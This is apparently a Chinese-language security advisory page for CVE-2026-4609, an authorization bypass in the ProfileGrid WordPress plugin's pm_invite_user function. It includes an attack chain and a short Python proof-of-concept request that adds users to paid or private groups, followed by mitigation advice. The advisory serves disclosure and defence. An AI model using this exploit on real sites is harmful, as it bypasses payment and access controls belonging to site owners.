IPBUF安全漏洞报告
English
CVE-2026-4609 CVSS 7.1 高危

CVE-2026-4609: ProfileGrid权限绕过漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-4609
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProfileGrid – User Profiles, Groups and Communities

相关标签

WordPress权限绕过Access Control BypassProfileGridCVE-2026-4609

漏洞概述

ProfileGrid WordPress插件在5.9.8.4及之前版本中存在权限绕过漏洞。由于pm_invite_user函数缺少能力检查,低权限认证用户(如订阅者)可将任意用户加入付费或私密群组,绕过授权和支付限制。

技术细节

该漏洞源于ProfileGrid WordPress插件public/class-profile-magic-public.php文件中的pm_invite_user函数未实施有效的访问控制检查。在所有5.9.8.4及之前的版本中,该函数直接接收用户加入群组的请求,而未验证发起请求的用户是否具备相应的管理权或群组成员资格。攻击者仅需具备最低的订阅者权限,即可利用此漏洞。通过向目标站点发送特制的HTTP POST请求,指定目标群组ID和用户ID,攻击者可以绕过前端界面限制、付费网关及管理员审批流程,直接将自身或任意注册用户添加到封闭群组或付费群组中,从而导致权限提升和业务逻辑绕过。此缺陷破坏了插件原本设计的用户分组与权限隔离机制,使得低权限用户能够获取本应受保护的高级资源访问权限。

攻击链分析

STEP 1
侦察
识别使用ProfileGrid插件的WordPress网站,并获取目标群组ID。
STEP 2
认证
注册或获取一个低权限账户(如订阅者Subscriber),获取有效的Session Cookie。
STEP 3
利用
使用低权限账户向`/wp-admin/admin-ajax.php`发送特制的POST请求,调用`pm_invite_user`函数,指定目标群组ID和用户ID。
STEP 4
权限提升
成功绕过权限检查,用户被加入付费或私密群组,获取未授权的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (WordPress AJAX endpoint) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker session cookie (Subscriber level) cookies = { "wordpress_logged_in_xxxxx": "your_cookie_value_here" } # Exploit payload # group_id: Target group ID (e.g., premium group) # user_id: User ID to add (attacker's ID or victim's ID) payload = { "action": "pm_invite_user", "group_id": "2", "user_id": "1" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check group membership.") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] Error:", e)

影响范围

ProfileGrid – User Profiles, Groups and Communities <= 5.9.8.4

防御指南

临时缓解措施
建议立即将ProfileGrid插件升级至最新修复版本。若无法立即升级,应暂时禁用该插件或限制用户注册权限,仅允许受信任的用户注册账户,以减少潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表